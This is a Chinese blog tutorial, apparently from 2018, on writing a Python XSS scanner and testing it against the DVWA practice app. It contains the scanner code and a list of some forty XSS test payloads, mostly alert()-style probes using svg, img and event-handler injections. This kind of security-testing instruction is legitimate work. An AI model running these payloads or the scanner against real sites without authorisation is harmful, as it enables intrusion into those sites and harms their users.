写个xss检测器怎么样
前言:
前言都写了好多次了,都不知道写什么了。。。就是之前已经写了SQL注入的检测了。顺便把xss检测写了
正文:
为了进行测试,首先搭建DVWA环境。这里我用Ubuntu搭建的
搭建环境这里我就不说了。
漏洞说明:
xss漏洞(跨站脚本注入漏洞)攻击者将
恶意的JavaScript代码注入到页面发起恶意攻击
当注入成功的时候页面会有注入成功的语句
代码思路:
1.首先遍历存放xss payload的文件夹,进行读取
2.让使用者输入URL并要在指定插入xss payload的地方插入*
3.替换*为xss的payload
4.检测页面是否有注入成功的xss payload
5.将注入成功的语句写入一个txt里
代码:
import requests
import os
import re
def scan():
xj = open('save.txt', 'w')
xj.close()
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
cookies={}
user=input('url:')
cookier=input('cookie:')
for c in cookier.split(';'):
key,value=c.split('=',1)
cookies[key]=value
print(cookies)
print('[*]{}'.format(user))
dq = os.listdir('xss_payload')
for line in dq:
print('[+]{}'.format(line))
ds = open('xss_payload/{}'.format(line),'r')
for we in ds.readlines():
#print(we)
qc=''.join(we.split('\n'))
th=user.replace('*','{}'.format(qc))
try:
rest=requests.session()
livs=rest.get(url=th,headers=headers,cookies=cookies)
if qc in livs.text:
print('[+]xss payload:{}{}'.format(livs.url,qc))
print('[+]xss payload:{}{}'.format(livs.url, qc),file=open('save.txt','a'))
else:
print('[-]Not xss payload:{}'.format(qc))
except Exception as r:
print('[-]Error {}'.format(r))
scan()
DVWA低级到高级的测试:
(不可能级别将字符实体化已经不存在xss漏洞)
low级:
随便找个Payload来测试一下:
Medium级:
随便找个 payload来测试下:
high级:
随便找个payload:
收集到的payload古灵精怪的,有一些不只是弹窗。
一些常用的手动xss测试语句:
javascript:alert(1)//INJECTX
<svg/onload=alert(1)>//INJECTX
<img onload=alert(1)>//INJECTX
<img src=x onerror=prompt(1)>//INJECTX
<a href="javascript:alert(1)" onmouseover=alert(1)>INJECTX HOVER</a>
onmouseover="document.cookie=true;">//INJECTX
alert(1)>//INJECTX
<h1>INJECTX</h1>
<img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)>
<svg><script>/<@/>alert(1)</script>//INJECTX
<svg/onload=alert(/INJECTX/)>
<iframe/onload=alert(/INJECTX/)>
<svg/onload=alert`INJECTX`>
<svg/onload=alert(/INJECTX/)>
<svg/onload=alert(`INJECTX`)>
}alert(/INJECTX/);{//
<h1/onclick=alert(1)>a//INJECTX
<svg/onload=alert(/INJECTX/)>
<p/onclick=alert(/INJECTX/)>a
<svg/onload=alert`INJECTX`>
<svg/onload=alert(/INJECTX/)>
<svg/onload=alert(`INJECTX`)>
<video><source onerror="javascript:alert(1)">//INJECTX
<video onerror="javascript:alert(1)"><source>//INJECTX
<audio onerror="javascript:alert(1)"><source>//INJECTX
<input autofocus onfocus=alert(1)>//INJECTX
<select autofocus onfocus=alert(1)>//INJECTX
<textarea autofocus onfocus=alert(1)>//INJECTX
<keygen autofocus onfocus=alert(1)>//INJECTX
<button form=test onformchange=alert(1)>//INJECTX
<form><button formaction="javascript:alert(1)">//INJECTX
<svg onload=(alert)(1) >//INJECTX
<script>$=1,alert($)</script>//INJECTX
<!--<img src="--><img src=x onerror=alert(1)//">//INJECTX
<img/src='x'onerror=alert(1)>//INJECTX
<marguee/onstart=alert(1)>//INJECTX
<script>alert(1)//INJECTX
<script>alert(1)<!--INJECTX
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTX
xss万能注入语句:https://www.jianshu.com/p/3f16269c83db
转载请声明:专自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:写个xss检测器怎么样
本文作者:九世
发布时间:2018-08-14, 13:48:07
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/6be20071.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。